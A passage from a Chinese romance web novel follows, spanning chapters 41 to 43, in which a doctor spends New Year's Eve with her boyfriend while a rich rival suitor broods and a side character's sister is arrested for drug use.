“别激动别激动。”江峰镇定自若地安慰道,“网上的消息真真假假,说不定这就是一条假新闻。” “照片都有,还能是假的?我给月月打个电话,我倒要问问,她到底是怎么想的!” 孙静说着就要给江明月打电话。 江峰拦住她:“你先别急!别急!万一,我是说万一啊,网上说的都是真的,那月月一直瞒着我们,就说明她不想让我们知道。你这么一通电话打过去质问,月月会难受的。” “这么大的事,她为什么要瞒着我们?” “月月多聪明啊。”江峰有条不紊地分析道,“她肯定猜到了我们不看好林逸,所以不跟我们提。你信不信,她也不是故意想瞒着我们,她只是在等一个合适的时机,时机到了就跟我们坦白。” 孙静冒出冷笑:“那你的意思是我们别问、别管,就装不知道,等她来主动跟我们说?” “那怎么行!” 毕竟是从小宠到大的女儿,终身大事,江峰肯定要为她把关,不可能不闻不问。 不过,他认为直接去问江明月确实不合适。孩子大了,有自己的生活。贸然去问,倒像父母在监视她、干涉她、约束她。怕她尴尬,更怕她心里不舒服。 思量再三后,江峰决定去问另一个当事人- 林逸在自己家的书房接到了江峰打来的电话。 “伯父。” 林逸看了眼腕表,已经晚上八点多了。这个时间点的电话,一般都是为私事。林逸心中了然,唇畔隐约含笑。 江峰开门见山,直接问:“小林,你跟我家月月是怎么回事?” 林逸的语气里保持着恰到好处的诧异:“伯父,明月没告诉您吗?” 江峰咳了声:“我想听听看你怎么说。” 虽然江峰没有正面回答,但单凭这一句话,林逸已经能确定江峰还没有和江明月沟通过。 和他预估的一样。江明月现在不在家里住,江峰无法在第一时间找江明月当面确认,而作为一名将女儿捧在掌心的父亲,江峰一定会来找他了解情况。 林逸笑道:“我和明月已经相处了一段时间。” 事实确实如此。也算是从陌生人,处成普通朋友了。 江峰听他一口一个“明月”,叫得亲近得很,心里不知道是什么滋味儿。 “你们相处到什么程度了?网上怎么在传,月月是你的未婚妻?” 林逸淡然应声:“有这种事?伯父,我跟明月暂时还没走到这一步,您别信网上那些谣言。” 江峰的声音流露出淡淡的喜意:“是谣言?” “也可以不是谣言。”林逸试探道,“我想近期去拜访一下您和伯母,顺便商量一下我跟明月订婚的事,您看哪一天比较方便?” 江峰说:“这个不急,以后再说。” 林逸接了一句:“刚好我手里还有一个跨境项目,和您目前的主营业务也契合,正想带给您过目。” 江峰沉吟不语,片刻之后才道:“都快过年了,就不谈生意了。” 林逸笑笑:“也是。” 江峰继续道:“既然是谣言,能不能让他们别瞎传了?对你,对月月,影响都不好。” 林逸立刻表态:“您放心,我会处理好。” “还有,我今天联系你的事,你别告诉月月,免得她多想。” “好的。” 通话至此,双方都得到了想要的讯息。 江峰知道了所谓的“未婚妻”并不属实,一颗心算是踏实了一半,剩下一半还在煎熬纠结,自家女儿怎么就和林逸走到一起了。 不过他能确定这两人的感情浓度并不深,因为林逸的态度很主动,也很迫切,甚至想绕过江明月直接确认订婚。这说明什么?至少说明江明月本人并没有订婚的打算。 那就还有挽回的余地。 而林逸则确认了一件事——江峰并不希望江明月和他扯上关系。 没想到以他林逸如今的身价,在他主动提出订婚之后,还能被对方一句“再说”打发了。 何况他还特意提了合作的项目。 江峰应该能明白,只要同意订婚,这个项目就是他的,钱就给他赚了。 但江峰并没有同意。也不知道是舍不得让女儿商业联姻,还是单纯不认可他林逸。 这条路,走不通。 要想得到江明月,还得让她自己点头答应。她家里显然不会插手她的婚姻- 林逸理清思绪之后,打电话给成雷,交代了几件事。 书房响起敲门声。 林逸说:“进。” 房门打开,前后走进来两个人。前面的是来送茶水的保姆,后面跟着贺冰。 保姆放下茶水之后就出去了。贺冰把门关上,没正形地往书柜上一靠,压低声音,语气认真:“我跟你说,你带上游艇的那个大美人,就是那个叫江明月的,她私底下还有一个男人。” 林逸的神情倏然变得冷厉:“你查她?” 怎么是这个反应? 贺冰忙说:“也不是查她……只是因为她动手打了我妹妹,我好奇她什么来头,就让人打听了一下。” 林逸脸色微缓:“她很有教养,我没见过她打人。” “你没见过,我见过!”贺冰强调,“她当着我的面打我妹妹!” 林逸声线漠然:“那就是你妹妹找打。” “我说林大少爷,你这偏心也偏得没边儿了吧?我妹妹好歹也算是跟你一块儿长大的啊。她小时候贪玩,掉进你家泳池差点淹死,还是你把她救出来的啊!” “抱歉,你说的这件事,我完全没有印象。” “行行行,你潇洒,你淡泊,你万事不萦于心。”贺冰像是敷衍也像在讽刺。 林逸依旧平静:“还有,让贺霜尽快办退学。” 贺冰惊叫:“为什么?” 林逸说:“她不适合学医。” 贺冰难以置信:“你知道吗?我爸妈为了让她进海大学医,给海大医学院捐了一栋教学楼,外加上千万的教学用医疗器械。你说她不适合学医,我承认,学医确实不轻松,她吃不起这个苦,这几年一直过得很不开心。但你直接让她退学是不是太过分了?我爸妈花了那么大的代价,至少要换一张毕业证书回来吧?” 林逸蹙眉。 贺冰忽然站直了:“不对啊,为什么你会想到让我妹妹退学?是不是江明月跟你提的?我妹妹弄死了她的猫,她也不想让我妹妹好过是吧!” “跟她没有关系。” 贺冰愈发确定:“肯定是江明月要求的,不然你才懒得管这些。林逸啊林逸,你别被她骗了,这女人脚踏两只船!” 林逸神情难辨:“她没有。” “我就知道你不愿意相信,幸好我有备而来。”贺冰从衣服里侧掏出了一个牛皮纸信封,“我有证据!” 为查清江明月的底细,贺冰特意请了私家侦探,签了整整一个月的合同,没想到才查了短短几天,就发现了这么一件大事——江明月她竟然一直跟一个男人同进同出,不是林逸。 贺冰得知后,本想发个消息提醒一下林逸,但想到林逸那天对江明月纵容又袒护的态度,他决定受点累,亲自跑一趟,当面向林逸“揭穿”江明月。 “这是什么?”林逸看着贺冰把牛皮纸信封拆开,从里面拿出来一叠照片。 “这是铁证!”贺冰抽出其中一张照片,指着照片上两人交握的手,“江明月经常跟这个男的一起走路回家,你仔细看——手牵手,十指交扣。” 林逸相当不悦:“你还说你没有查她?” 贺冰卡壳儿:“我……你……林逸!我是在提醒你,江明月她背着你还有一个男人!她和这个男的非常亲密你知道吗!你看照片轨迹,这两人每天晚上都呆在一起!” 贺冰感觉林逸的脸色变了,但并没有他想像中的愤怒,而是冷冽中带着一丝……嫉妒? 贺冰忽然嗓子发干:“林逸,你该不会还没把江明月弄到手吧?” 怪不得他刚刚说江明月脚踏两只船,林逸直接否认了。 敢情是没踏上林逸这条船。 贺冰诧异、震撼、匪夷所思:“所以……你花了5900万买了条粉钻项链,送出去以后,竟然连人都没有睡到?我跟你说,按现在的行情,你这么多钱砸出去,能让娱乐圈当红小花心甘情愿伺候你一年。” “这是我的事,不劳你费心。”林逸站起身,将书房的门打开,逐客的意味很浓,“有这时间,你多去管管贺霜。” 40-50 第41章 兄妹 “哥哥,你和江医生……住在一起…… 除夕将至, 海城的大街小巷人流量骤减,路上车辆也少了很多。城市仿佛褪去了繁华的外衣,取而代之的是街头巷尾温馨的年味儿, 清静又祥和。 不过, 医院还是照样忙碌。 江明月算了算。过年期间她除了要值班,还有几十台手术要上, 这么排下来,没几天是能够完完整整用来休息的。想不到大过年的, 大家还有这么高昂的生育热情。 好在她家就在海城。相比于那些外地同事,她至少还能每天回家与家人团聚。 沈归时那儿也是一堆择期手术, 从正月初二排到了正月初八。 两人凑一块儿讨论了一下,觉得大家之所以趁过年来医院, 可能是因为平时工作生活都太忙碌了,只有过年才有时间跑医院- 令江明月颇为意外的是, 她竟然接到了沈元姝的电话。 当时她正在上班,沈元姝在电话里预祝她新年快乐, 还问她要地址,说是想寄一些年礼给她。 江明月默默感慨这小姑娘家教真好,救了她一次, 竟然惦记到现在。然后笑着婉拒:“谢谢,也提前祝你新年快乐。东西就不用送了, 心意我记下了。” “江医生,我刚刚已经问到了你的好朋友崔小姐的地址,如果你不愿意接受我的赠礼,那我只好给崔小姐的地址寄两份新年礼物,再委托她将其中一份转交给你。”沈元姝把话说得很漂亮,“不过我觉得这样实在太麻烦崔小姐了。江医生, 不如你还是给我一个地址吧,也免得崔小姐受累了,你看可以吗?” 一席话谦逊而周全。 江明月真的很难再拒绝,便把海城名邸的地址报给了沈元姝- 沈元姝结束了和江明月的通话,又打给了沈归时。 “哥哥。”沈元姝问,“快过年了,你什么时候回来?” 沈归时说:“今年不回去了,抽不出时间。” 沈元姝一愣:“你不是在放寒假吗?” 沈归时解释:“我今年在医院实习,春节期间要按科室的安排来休假,基本没有休息。” 科里对沈归时的安排就是——自己人,放心用,可劲儿用。整个春节就给了他一天休息,正月初一。这一天休息还是沈归时争取过来的,因为江明月也是这天休息,他想在有可能的情况下,多陪陪她。 沈元姝又说:“我最近在学习烘焙,烤了一些小饼干,卖相还不错……哥哥,我给你寄点?” “暂时不需要,谢谢。” 沈元姝笑着说:“我刚开始接触烘焙,自我感觉挺好,就是不知道口味到底怎么样。哥哥,你就帮忙尝尝看,客观评价一下。” “……” 沈归时没说话,沈元姝就当他同意了:“上次你给我发了别墅的地址,我直接邮寄到那里,你能收到吧?” “我现在不住那里。” “那你住哪儿?” 沈归时说了地址。 沈元姝听后迟疑片刻,才问:“哥哥,你和江医生……住在一起?” 沈归时不由怔然:“你认识她?” “上次我回国在海城转机,连续二十几个小时没睡,在路上晕倒了,是江医生和她一个朋友救了我。” 沈元姝刻意说得很轻松。这样的话,纵使沈归时冷淡回应,她也能安慰自己——只是因为情况并不严重,所以哥哥才不在意。 但出乎她意料,沈归时沉着声追问她:“晕倒了?什么原因?” 沈元姝忽然不太敢开口,像个做错事的孩子,小声道:“就是……没休息好,太累了,心脏骤停……” 她避重就轻地把当时的状况讲了一遍。 沈归时听完叹了口气,掺着几分庆幸:“你还真是命大。” 紧接着又说,“以后注意休息,睡眠不足确实容易猝死。不是每次都有你未来嫂子那样的好心人救你一命的。” “我未来嫂子……”沈元姝呆呆地重复,随即反应过来,“我……我知道了。谢谢哥哥。”- 除夕前几日,医院各科室分别组织了聚餐,算是对过去的一年进行了一场道别。 虽然依旧忙碌,但总体来说,大家都沉浸在即将过年的氛围里。 除了贺冰。 不久前,几名娱乐圈内知名艺人与某圈外人士聚众吸毒,被热心群众发现并举报。 警方赶到现场的时候,桌上还放着不少还没来得及吸食的毒品。一做尿检,人人体内有毒,个个无从抵赖。 涉事艺人都是贺冰名下那家传媒公司的签约艺人。贺冰得知消息后,第一时间就联系公关部门做好了应急预案,及时对消息进行了封锁,并通知各大媒体不要曝光,力求把事件的影响压缩在最小的范围。 但也不知是哪个环节出了差错,事发不到两小时,整件事就开始在网上发酵。由于涉事艺人众多,很快顶上了热搜。没过多久,官方的通报就出来了,确认了这几名艺人和圈外人士贺某的吸毒事实。 至此,事态的发展已经超出了贺冰的控制。 确实,毒是高压线,谁都碰不得。 贺冰与公关部门重新商议了对策,连夜发布声明,宣布公司与这几名劣迹艺人正式解约。 与此同时,贺冰还把公司顶流的恋情瓜放了出去,希望引走一些关注度,把吸毒事件的热度降下来。 因为官方通报中的“贺某”,就是他的妹妹,贺霜。他担心事态继续发酵,网上那些人看热闹不嫌事大,把贺霜也扒出来。 贺冰这么一通操作,网上的讨论度确实没那么高了。 事发当天,贺霜和那几名艺人都被警方带走了,按照法律规定,行政拘留十五天。 贺家父母常年在香港经商。贺家大哥因为身体要调养,长居在南方一个山清水秀的县城。在海城,贺霜能依靠的只有二哥贺冰。 贺冰没敢告诉父母和兄长,自己一个人焦头烂额地把事情处理了,孤身跑去拘留所探望贺霜。 拘留所内。 贺霜形容枯槁,粗糙的制式服装下,身躯瘦得只剩一把骨头。 贺冰瞧见她手臂上遍布着一道道长长的血痕,又急又气:“你胳膊上怎么回事?谁打你了?” 一旁的女警轻哼一声:“没人打她。她毒瘾犯了,自己挠的。” 贺冰哑然。 女警鄙夷道:“年纪轻轻的不学好。碰了毒,这辈子算是走到头了。” 贺冰听得哽咽。 他是正常人,他有基本的是非观,他知道毒品的危害,也知道吸毒大错特错,但他真的想不通贺霜为什么要走上这条不归路。 他想痛斥贺霜一顿,但看到她这副瘦骨嶙峋的憔悴样,他又实在说不出一句重话。过了好半天,他也只是哑着嗓子问:“为什么?妹妹,为什么啊?” “对不起,二哥。”贺霜的视线径直落在前方的某一处,眼球仿佛不会聚焦了,眼神空空,“我好累啊。” 贺冰的心脏都收紧了。 “我一点也不想学医,很枯燥,专业书那么厚,我根本看不进去。二哥,我觉得爸妈根本不爱我,他们允许大哥放弃学业,住到那么一个破县城,他们允许你选择自己喜欢的专业,还送你出国读书。可他们偏偏要逼我学医,我说我不想学,他们就骂我没志气。” 贺霜说到这儿,控制不住地流眼泪:“为什么我没有选择人生的权利?难道我不是他们亲生的吗?” 在贺霜断断续续的叙述中,贺冰才终于了解到,大一下学期,贺霜的期末考试全部挂科,她苦闷之下走进了一家酒吧,刚好遇到了贺冰公司签约的一名演员。 那个演员认识贺霜,知道她是老板的亲妹妹,也是为了讨好她,递给她一杯加了料的酒,说喝了以后心情会好很多。 从此贺霜彻底迷上了那种感觉。在毒品的作用下,她仿佛能忘记世间所有的烦恼。虽然她清醒的时候十分明确地知道这样下去不行,她悔恨过,但是已经戒不掉了。毒瘾发作时,她有强烈的濒死感,她会忍不住自残,丧失理智,面目全非。 她和那个演员越走越近,还认识了更多的“同道中人”,直到今时今日,大家都被当场抓获。 贺冰既惊怒又心痛。就这么望了贺霜许久,他终于说:“因为你从小乖巧懂事,爸妈才选你去学医,他们相信你会好好学……不像我,我从小成绩就不好,他们对我没什么指望,所以我爱干什么都随我去……大哥那个身体你也清楚,爸妈不可能对他有过多要求了。妹妹,我之前还挺羡慕你的,你一直是爸妈最满意的孩子……” 贺霜哭得更大声了。她捂紧了脸,那干瘦的指节贴在她的脸上,像阴森的白骨。 “我从来……我从来不知道你有这么多委屈。”贺冰低下了头,“等你出来以后,我们去办休学。以后我们换个专业,不学医了,你想学什么就学什么,爸妈那里我去解释。” 然而还没有等到贺霜去办休学手续,学校就得知了她因吸毒被拘留的事。 学校直接开除了贺霜的学籍,做退学处理。 第42章 新年礼物 “你是这世间独一无二的美丽…… 除夕夜如期而至。 江明月回家, 陪父母吃了顿团圆饭。 客厅的电视机开着,联欢晚会的主持人字正腔圆地说着串词,充当着这个节日永恒不变的背景音。 沈归时还在医院。他今天和一名上级医生一起值夜班。值上半夜, 到晚上11点结束。 之前神外排班的时候, 大家都不想值除夕这一天的夜班。最后沈归时挺身而出,主动提出让他来, 让别的同事早点回去跟家人团圆。 江明月知道沈归时今天下午遇到一台急诊手术,也不知道这会儿有没有结束。她给沈归时发消息。 【江明月:下台了吗?】 一直没收到回复- 年夜饭吃得差不多了, 一家人移步到客厅沙发看联欢晚会。 孙静津津有味地看着电视上的合家欢小品,眼睛余光瞄着江明月:“月月, 你别老看手机啊,来陪我看会儿电视。” 江明月乖巧地收起手机。 小品已然落幕。现在电视上正在播一个歌舞节目, 背景音乐悠扬舒缓。 江明月偷偷摸摸觑着父母的脸色。两人都面带笑容,显然心情不错。 江明月似是随意地提起:“我有一个朋友。” 孙静道:“嗯?” “她谈了一个男朋友, 家里条件一般,远远比不上她家。她父母就一直不同意他们俩在一起。”江明月简单陈述后, 附带了一句感叹,“好可怜哪。” 孙静和江峰对视一眼,都在彼此眼中看到了同样的认知—— 月月这不是在闲聊, 她是在试探他们。 他们要是再不给点反应,恐怕月月下一句就要说, 为了免除他们这方面的后顾之忧,她已经跟身价千亿的林逸在一起了。 孙静轻轻踢了脚江峰,示意他赶紧说两句。 江峰安抚般地拍了拍孙静的手臂,对江明月说:“其实我跟你妈妈都认为,不管是谈恋爱还是结婚,对方的家庭条件并不是最重要的。” 江明月问:“那什么最重要?” “人品最重要。” 江明月若有所思:“那只要人品好, 家庭条件差点儿也没事?” 沈归时的人品绝对没得说。除夕夜都主动加班,把和家人团聚吃年夜饭的宝贵机会让给了别的同事,多么高风亮节。 “对!但反过来不行。”江峰循循善诱,“如果人品不行,有再多钱也没用。” 见江明月了然点头,江峰趁热打铁道:“要是你跟你那个朋友一样,找了个家里条件一般的,我跟你妈妈肯定不会反对。说实话,我们就希望你找一个普普通通的人,跟你一样有份稳定的工作,两个人能好好过日子就行。” 江明月眼睛骤亮。 工作稳定的普通人。这简直是为沈归时量身定制的条件啊。 没想到她之前担心的家境问题,在父母这里根本无伤大雅。 现在只等沈归时毕业后顺利留院,她就可以顺理成章地把他领回来见家长了。 江峰终于引入正题:“千万别找太有钱的,人家有钱也未必愿意给你花。更别找那种豪门世家,那些人成长环境跟我们不一样,只重利益不重感情。而且家产多,难免纷争也多。” 江明月满口应承,笑容舒展,转头看电视。 江峰看看孙静,小声说:“听进去了。” 孙静微微一点头,压低声音夸奖道:“还得是你!”- 与此同时。 林逸孤身一人坐在书房的电脑前,正在和屏幕上金发碧眼的欧洲女人进行商务谈判。 女人始终表情严肃,直到两人谈妥,她才终于露出一点笑意:“林先生,听说今天是中国新年的前夕,所有中国人会和家人团聚。在这样重要的节日,你放弃了家人,选择跟我谈判,我倍感荣幸。” 林逸不予回应,只是淡笑。 从他有记忆开始,每一年的春节他都是跟保姆一起度过的。他从来不觉得除夕是一个多么特殊的节日,也不知道在这一天和家人团聚是什么感觉。 女人继续笑吟吟道:“我很好奇,林先生,稍后你有什么安排?我想你必须向你的爱人致歉,因为你今天忙于工作,没有陪伴她。” “我正准备去找她。”林逸看了眼屏幕右下角的时间,“我为她准备了新年礼物,我想她会喜欢。” 女人夸张地“哇”了一声:“这听上去很浪漫。祝你度过愉快的夜晚。”- 将近十一点半。 孙静和江峰平时都不熬夜,半个小时前就上三楼睡觉去了。 江明月一个人留在诺大的客厅,听着晚会热热闹闹的声音,百无聊赖地刷着微信群里接连不断的祝福。 终于等到了沈归时的回复。 【沈归时:刚下台。一会儿交接给下半夜的值班老师,就可以回去了。】 江明月下意识地看时间。 正好十一点半。 从这儿,到海城名邸,刚好半小时的车程。 江明月关了电视,动作迅速地穿上大衣,捞起车钥匙就走- 林逸开车来到了江明月的小区门口。 小区有车牌识别,他的车进不去。他正想给江明月打电话,就发现一辆银色SUV从寂静的小区内驶了出来。 这么晚了,她要去哪里? 林逸放下手机,调转方向跟了上去- 节日的深夜,街道空旷无人,马路上只有风声。 江明月顺顺当当地开到了海城名邸附近,拐进一条单行道。远远瞧见沈归时孤身走在道路右侧,双手插着羊绒大衣的口袋,步伐很快,背影挺拔修长。 江明月切换远近光灯,闪了闪他。 这条单行道很窄。沈归时察觉到有车灯在闪他,很自觉地往边上走了走。 江明月失笑,轻踩油门提速,到沈归时身边才停下,降下右侧车窗,很潇洒地歪头一笑,直白又朴素地搭讪:“嗨!帅哥!跟姐姐回家好吗?” 沈归时看清是她,疑惑且惊讶:“这么晚了,你怎么过来了?” 江明月拿起扔在副驾的手机。手机屏幕亮起。 时间刚刚好——00:00 她左手扶着方向盘,右手举起手机,给沈归时看时间。 她扬声道:“新年快乐,沈归时。” 车窗之外,凛冽北风呼啸。沈归时刚从医院出来,脸上还戴着淡蓝色的医用口罩。他脸架子小,那个口罩几乎遮住了他大半张脸,只留一双熠熠生辉的眼睛在外面。那些藏匿不住的笑意便透过这双眼睛,毫无保留地流泻了出来。 “上车呀,外面冷。”江明月催促。 沈归时拉开副驾驶车门坐了进去。 江明月松开刹车,听见沈归时冷不丁地来了句:“我只跟漂亮姐姐回家。” 明明是非常正经的语气,江明月却听出了几分调侃的意味。她故意轻咳一声:“那以后遇到了别的漂亮姐姐,你是不是也会跟别人回家?” 沈归时轻笑,笑声浸在医用口罩里,略显沉闷,却带出了一句极尽温柔的赞美:“不会。你是这世间独一无二的美丽。” 江明月唇角上扬:“真会说话,待会儿姐姐奖励你。” 沈归时瞥着后视镜:“稍微开快点,挡住后面的车了。” 江明月这才注意到后面不知什么时候跟了一辆黑色宾利。因为这条路是单行道,她的车速一慢,宾利也就只能慢悠悠地跟在后面。 江明月默默跟宾利车主说了声抱歉,提速驶向海城名邸的地下车库- 林逸开着车,在街上漫无目的地绕了几圈,像孤舟在江河里随波游荡。 她就那么喜欢他? 大半夜的跑出来,就为了陪他共度新年。 他不知道除夕夜和家人团聚是什么感觉。 但他知道。 那一定是被爱的感觉。 如果她能把这样浓烈的爱意投注到自己身上——光是想想,林逸的心都止不住地战栗。 海城市区禁止燃放烟花爆竹。在这样举国欢庆的时刻,城市依旧静谧得像一个普通的夜晚。 寂静的深夜仿佛催生出无限的孤独。林逸不知怎的想起了自己的父母。 他从记事起,就见过父母各自带着情人来家中过夜,两人像比赛一样,身边的情人换了一批又一批。 他们以为他年纪小不懂,那些亲密的举动从不会回避他。 其实他都明白。父母是协议婚姻,根本没有感情,生下他之后就当完成了任务,两人一直各玩各的。对于他这个婚姻的附属品,两人都选择撒手不管,直接扔给保姆。 后来他们连表面的婚姻都维持不住了,潇洒离婚,真正去追寻自己想要的生活了。 那一年,林逸十五岁。 学校的老师发现他性情孤僻,不爱和同学交往,特意找来心理医生陪他聊天。 心理医生说他这是情感缺失症——因为在成长过程中家庭关系长期缺位,导致个体缺乏安全感,具体表现为内心封闭、情感淡漠、逃避亲密关系。 呵。 林逸嗤之以鼻。 他开始对照症状伪装,越来越像一个正常人。 而且他渐渐发现,所谓的安全感,根本不需要别人来施舍。只要把想要的一切牢牢掌握在手中,不仅会有安全感,还会有满足感、成就感。 贺冰拨来电话,打断了林逸的思绪。 附近刚好是一家商场。商场早已打烊,唯有地下停车场的入口亮着灯。 林逸转弯驶入商场地库,就近找了个车位停下,接通电话。 贺冰应该喝了不少酒,大着舌头,上来就骂:“林逸你还是人吗?” 林逸这会儿的心情说不上好,冷声回应:“你有病?喝多了找我发酒疯?” “你才有病!上次你说要让我妹妹退学,我没答应你,没想到你做事这么绝,直接把她吸毒的事揪了出来,还让学校开除了她的学籍!现在我妹妹没学上了,你满意了?” “贺霜吸毒?” “哼!你少跟我装傻!我家给医学院捐了那么多钱,学校开除我妹妹学籍之前,竟然连声招呼都不打,这里面肯定有你的手笔!最开始那个举报吸毒的‘热心群众’,到现在都查无此人,你敢说不是你安排的?后来消息传开,也是你在推波助澜吧?林逸,除了你,还有谁有这么缜密的手段?” 贺冰趁着酒劲儿一口气把话说完,醉意熏熏地指责:“就为了一个女人!你就为了一个女人!江明月她给你下蛊了吗?你拿这狠劲儿对付我妹妹?” “你别扯明月,关她什么事。” “你敢说跟她没关系!” 林逸蓦地想起那晚在游艇上,江明月那句欲言又止的“我怀疑贺霜”,还有她在休息室东翻西找,不知道在找什么东西。 她发现贺霜有问题了。 但她没有告诉他。 可能在她眼里,他并不是一个值得信任的人,不足以分享秘密。 这个念头令林逸更加烦躁。 贺冰还在喋喋不休:“好哇,你现在敢做不敢认?亏我这么多年一直拿你当朋友,你竟然踩着我妹妹讨别的女人欢心。你付出这么多,江明月她会多看你一眼吗?我看她只爱她那个男朋友啊。你在她眼里,也就比陌生人强点儿吧。林逸,你知不知道我妹妹她一直喜……” “说够了没有?”林逸打断他。 贺冰被这突如其来的一声吓住,酒意迷濛地“啊”了一声。 林逸直接挂了电话。 在他的身边,副驾驶的座椅上有一份文件。 一份与海城流浪动物救助协会拟定的定向捐赠协议。目前捐赠人那一栏还少一个签名。 那是他为江明月准备的新年礼物。 他眼前又浮现出那辆在路灯下穿梭的银车,仿佛一只沿着既定航向寻觅伴侣的禽鸟,那样心甘情愿地为爱奔赴。 林逸重重捶了一下方向盘。 鸣笛声响彻商场地库,回音久久盘旋。 像野兽脆弱又无助的悲鸣。 第43章 长长久久 “要不要一起睡觉?”…… 江明月转着方向盘, 在海城名邸的地库绕了一大圈,没有停自己的车位,而是横着车身, 停在了一个相当僻静的角落。 沈归时不解:“为什么停这儿?” 江明月边解安全带边说:“这里没有摄像头。” 没有摄像头? 所以呢? 沈归时心中的疑惑在下一秒得到了解答——江明月搭着他的肩, 抬腿倾身,迈过了中控台, 随后在并不算宽敞的空间里转了个身,跨坐到了他的腿上。 这个角落光线昏暗。沈归时看见一缕碎发从江明月耳边垂落, 在暗色的光影下晃晃荡荡,像一束拨弄心弦的柔羽。两条手臂从他大衣内侧伸了进去, 亲昵地、暧昧地、不由分说地,环抱着他的腰。 沈归时身体微僵, 担心她跌落,抬手撑住她的后背, 给她借力。 “你不许动!坐坐好!” 江明月很少有这样骄纵的语调,听起来不像是命令, 更接近于一种虚张声势的撒娇。 沈归时听话照做,一动不动,坐得笔直。 他脸上的口罩还没摘, 周身气息一如既往地内敛,深灰色针织毛衣的领口之上, 肤色冷白,喉结轮廓分明。 江明月盯住那枚喉结,颇为利落地亲了上去。 喉结以极其缓慢的速度滚动了一下,带来了滑动的触感。江明月吓了一跳,立刻结束了这个吻。也不知是为了补偿还是为了掩饰尴尬,江明月眼睛一闭, 在沈归时的脖子上一通乱亲,最后露出一个大功告成、如释重负、志得意满的微笑: “喏,奖励给了啊。我,江明月,言而有信,言出必行,言行合一。 ” 沈归时接了一句:“言过其实。” 江明月:“……” 沈归时继续道:“给是给了,但很敷衍。” 江明月理直气壮:“众所周知,活动的最终解释权归主办方所有。新年第一吻,我觉得一点也不敷衍。” 她反正能自圆其说,心安理得地抽出环抱对方的手臂,打开副驾驶的车门,准备下车。 但上身刚抬起来几公分,就被身后那只手掌按了回去。 沈归时抬臂,空闲的右手将车门拉回来换上。他关门的力道并不重,只发出一记很轻的闷响。车门并没有完全关闭,但很快就被车门框内的电磁线圈吸附,自动锁紧。 车内再度形成了一个密闭空间。江明月茫然抬眸,看见沈归时单手扯下口罩,那张清俊的脸庞迅速放大。 她不由自主地闭上了眼,意料之中的亲吻覆了上来,从唇角开始,极其细致地碾过每一寸唇瓣,由浅入深地汲取她的呼吸。 那个温暖干燥的手掌贴在她的后颈与后脑勺的交界处,似乎是带着薄茧的大拇指,缓慢而轻柔地摩挲着后颈的肌肤。 好像有电流从颈后蔓延开来,逐渐传递到四肢。江明月想躲却没多少力气动弹,情不自禁地绷紧脚面。 她前段时间刚换了纯羊毛的脚垫,4S店的销售说是用一整张澳洲完整皮料制作而成的,松软厚重,不会塌陷。明明足尖实实在在地抵住了羊毛脚垫,却没有多少实感,她仍然脚底发空,仿佛踩在云端。 两人实在贴得太近,江明月从没有这样清晰地感知到沈归时身体的变化。她第一次觉得SUV的内部空间逼仄,脑子里不期然地想起上次沈归时说她只有写论文的时候能好好收尾……她想她今天一定要好好证明一下自己,务必要让沈归时刮目相看。 她意识飘飞,说不清过了多久。直到听见沈归时浅含笑意的嗓音:“奖励,还是得靠自己争取。” “……”江明月抿了抿水光潋滟的菱唇,“我下去透口气。” 她不轻不重地推了他一把,伸手摸右边的门锁。沈归时这回倒没再拦她,只是在她翻身下车的时候轻声说道:“新年快乐,漂亮姐姐。” 地下车库空旷无人,也没有风,却浸着深冬的凉意。 江明月深吸一口冷空气,觉得脸上没那么烫了,才扶着车门转身,另一手纡尊降贵般地递给沈归时:“走了,回去了。” 沈归时握住了她的手,没下车,而是问她:“嗯?车就放这儿?” 江明月呆了半秒,第一反应竟然是原路折返——从副驾驶进去,再跨过沈归时的腿和中控台,最后回到驾驶座——好在脑子及时长回来了,她抽出手,砰的一声关上车门,从车身后面绕行,堂堂正正地坐回主驾驶位置。 车子往后倒了几米。江明月盯着倒车影像上的时间——凌晨1时16分。 只是接吻而已,竟然在车里待了这么久…… 江明月打转方向,驶离了这个偏僻昏暗的角落,把车停到自己的车位。 两人下车,手牵手进电梯。 电梯在一楼停下。楼下的邻居牵了条边牧进来,和善地朝他们点点头。 江明月一贯招小动物喜欢。边牧摇着尾巴,主动凑过来,友好地蹭了蹭她的小腿。邻居连忙攥紧牵引绳,把边牧扯远了些,一边朝江明月抱歉地笑笑:“不好意思啊,没吓到你吧?这狗都快成精了,每次看见漂亮姐姐都要凑上去。” 漂、亮、姐、姐。 江明月不自觉地咬了下嘴唇,说:“没关系的。” 这只边牧显然得到了主人精心的照顾,毛色光亮厚密。被主人拽回去之后,便十分乖巧地趴在地上。 江明月试探地问:“其实我很喜欢小狗的……可以摸摸它吗?” “当然可以!”邻居对这种情形喜闻乐见,话也渐渐多了起来,“今天除夕夜,家里热闹,我睡不着,刚好狗也没睡,我就带它去楼下遛了两圈。诶?你们怎么这么晚才回来啊?” 怎么,这么晚,才回来。 蹲在地上撸狗的江明月动作滞住。 沈归时面不改色地回答:“刚下夜班。” 邻居感叹:“这么辛苦呀?我还以为你们去哪里看烟花跨年了呢。” 江明月不作声,继续摸边牧背部柔软的皮毛。 邻居的楼层到了。邻居出了电梯,朝电梯内两人挥挥手,还客气地邀请江明月空了来玩。 江明月应承几声,等电梯门重新关上,才不咸不淡地瞟一眼沈归时,语气嗔怪:“都是你!亲那么久!” 沈归时比她坦荡多了:“好,怪我。” “我要补偿!” “要什么?” “我饿了,想吃夜宵。” 沈归时笑了:“好,我给你做。” 江明月补充:“至少要四个菜。” “好。” 沈归时进了厨房。冰箱里储存了很多冷鲜食材,他在其中挑挑拣拣。 江明月坐在玄关处的换鞋凳上,拆开了沈元姝寄来的快递——好几个大箱子,装着各式各样的礼盒,水果、零食、茶酒、补品,一应俱全,还有一块钻表。 钻表金灿灿的,江明月忍不住拿到手腕上比了比,表盘闪得晃眼。 “这小姑娘到底什么来头啊,出手够大方的……” 江明月心底嘀咕了一句。越发觉得当初崔晚晚说人家是那个什么沈氏豪门的猜测挺靠谱的。 江明月把钻表收起来放好。顺手从面前的礼品堆里拿了两瓶酒,放到餐桌上。 沈归时担心江明月饿久了伤胃,动作飞快地凑齐了四个菜。 青椒炒牛肉蒜香四溢,虾仁蒸蛋上的葱花鲜绿,撒了椒盐的烤杏鲍菇片风味得宜,酒酿小圆子冒着腾腾热气。 四道菜分别出自炒锅、蒸锅、烤箱、煮锅。几乎同时进行,所以完成得很快。 江明月看着菜一道道地端了上来,长长地“嗯”了声:“有年夜饭的氛围了。” 沈归时给她拿筷子:“我再去切两个橙子。你先吃。” “不要,等你来一起吃。” “不是饿了吗?” 江明月认真地说:“其实我不饿,我就是想再陪你吃一顿年夜饭。”她顿了顿,“不想让你一个人孤零零地过年。” 沈归时微怔。 